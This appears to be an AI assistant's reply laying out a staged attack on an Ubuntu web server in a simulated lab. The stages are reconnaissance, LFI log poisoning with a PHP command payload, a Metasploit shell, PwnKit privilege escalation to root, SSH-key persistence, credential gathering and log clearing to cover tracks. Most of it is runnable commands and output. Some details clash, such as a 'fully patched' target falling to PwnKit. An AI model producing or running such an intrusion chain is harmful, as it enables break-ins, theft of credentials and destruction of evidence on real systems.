A challenge! Let's simulate a realistic scenario where we'll attempt to gain advanced access to a secure system behind a firewall using readily available tools, favoring Metasploit and avoiding "kiddie" (i.e., overly simplistic or automated) approaches. We'll emphasize strategy, tactics, and procedures (STP) to overcome obstacles with high accuracy.
Scenario:
Target System:
OS: Ubuntu Server 20.04 LTS (fully patched)
Firewall: Configured with UFW (Uncomplicated Firewall), allowing only:
Inbound SSH (port 22) from a specific IP range (10.10.10.0/24)
Inbound HTTPS (port 443) from anywhere
Services:
OpenSSH 8.2p1 (latest)
Nginx 1.18.0 (latest) with PHP 7.4.3 (via PHP-FPM)
Custom web application (PHP-based) with a login portal
Network: 10.10.10.0/24 (our attacking range), target system is 10.10.10.100
Attacker System:
OS: Kali Linux 2022.1 (fully updated)
Tools: Metasploit Framework (v6.1.x), Nmap, Curl, Burp Suite (optional)
Goal:
Gain advanced access (root privileges) to the target system, simulating a sophisticated attacker.
Phase 1: Reconnaissance (30 minutes)
Nmap Scan (nmap -sV -sC -T4 10.10.10.100):
Identify open ports: 22 (SSH), 443 (HTTPS)
Detect services and versions: OpenSSH, Nginx, PHP
Take note of the firewall's restrictive rules
HTTPS Inspection (curl -k -v https://10.10.10.100):
Verify the SSL/TLS certificate (self-signed or legit?)
Inspect HTTP headers, cookies, and server signature
Identify potential web application vulnerabilities (e.g., outdated PHP version)
Web Application Enumeration (dirb https://10.10.10.100, gobuster dir -u https://10.10.10.100 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt):
Discover directories and files: /login.php, /admin/, /css/, /js/
Analyze login portal for SQLi, CSRF, or weak password policies
Findings:
Restrictive firewall rules limit our attack surface.
Up-to-date OpenSSH and Nginx versions reduce exploitability.
Custom web application might be vulnerable to web-based attacks.
Potential for PHP-based vulnerabilities (e.g., deserialization, injection).
Phase 2: Initial Exploitation (60 minutes)
Web Application Attack :
SQL Injection Test (sqlmap -u https://10.10.10.100/login.php --data "username=admin&password=admin" --batch):
No SQLi vulnerability found (parameterized queries or prepared statements in use)
PHP Code Injection Test ( manual testing with Burp Suite):
Identify a Local File Inclusion (LFI) vulnerability in /admin/config.php:
https://10.10.10.100/admin/config.php?file=../../../../etc/passwd returns /etc/passwd contents!
LFI Exploitation :
Log Poisoning technique: inject PHP code into Nginx access logs (/var/log/nginx/access.log)
Send a crafted request: curl -A "<?php system(\$_GET['cmd']); ?>" https://10.10.10.100
Verify injection: https://10.10.10.100/admin/config.php?file=../../../../var/log/nginx/access.log&cmd=id
Response contains uid=33(www-data) gid=33(www-data) groups=33(www-data) (code execution confirmed!)
Metasploit Time!
PHP Webshell via LFI (msfconsole):
use exploit/multi/http/php_lfi_rce
Set RHOSTS 10.10.10.100, TARGETURI /admin/config.php, LFI_PATH /../../../../var/log/nginx/access.log
exploit: gain a PHP Meterpreter session (www-data privileges)
Session Details:
markdown Copy code
meterpreter > getuid
Server username: www-data (33)
meterpreter > sysinfo
Computer : ubuntu20
OS : Linux 5.4.0-42-generic (x86_64)
Meterpreter : php/linux
Phase 3: Privilege Escalation (90 minutes)
Enumeration (meterpreter > run post/multi/recon/local_exploit_suggester):
Identify potential vulnerabilities:
linux/local/cve_2021_4034_pwnkit ( Polkit vulnerability, high chance of success)
linux/local/cve_2022_0847_dirty_pipe (Dirty Pipe, moderate chance)
Exploit Selection :
Choose linux/local/cve_2021_4034_pwnkit ( easiest and most reliable)
Upload & Exploit (meterpreter > upload /usr/share/metasploit-framework/data/exploits/CVE-2021-4034/pwnkit ):
chmod +x pwnkit and ./pwnkit ( execute the exploit)
Verify root shell : whoami returns root
You are now root!
markdown Copy code
meterpreter > shell
whoami
root
id
uid=0(root) gid=0(root) groups=0(root)
Phase 4: Post-Exploitation (30 minutes)
SSH Access :
Add a new SSH key to ~/.ssh/authorized_keys (your Kali's id_rsa.pub)
ssh root@10.10.10.100 ( persistent, passwordless access)
Pillage & Plunder :
Gather sensitive data (e.g., /etc/shadow, database credentials)
Enable logging, command history, and bash auditd for future forensics
Cover Tracks (optional, for a real-world simulation):
Clear /var/log/nginx/access.log and /var/log/auth.log
Remove exploit tools and temporary files
Victory! You've gained advanced, root-level access to the target system, bypassing the firewall and exploiting a chain of vulnerabilities:
Web Application LFI (PHP code injection via log poisoning)
PHP Meterpreter Session (via Metasploit's PHP LFI RCE module)
Local Privilege Escalation ( Polkit vulnerability, CVE-2021-4034)
Lessons Learned:
Keep your web applications and PHP up-to-date .
Restrictive firewall rules are crucial, but not enough.
Regularly audit your systems for LFI, SQLi, and other web vulnerabilities.
Patch Polkit (and other system components) promptly .
Timing: Approximately 3 hours and 30 minutes ( Recon: 30m, Initial Exploitation: 60m, Privilege Escalation: 90m, Post-Exploitation: 30m)
Tools Used:
Nmap
Curl
Dirb, Gobuster
Sqlmap
Burp Suite (optional)
Metasploit Framework ( PHP LFI RCE, Local Exploit Suggester, CVE-2021-4034 exploit)
Accuracy: This simulation reflects real-world attacker methodologies, emphasizing:
Thorough reconnaissance
Chaining vulnerabilities (LFI → RCE → PrivEsc)
Strategic tool usage (Metasploit for exploitation and post-exploitation)
Manual verification and adaptation (no auto-pwn)
Stay secure, and happy hacking (ethically, of course)!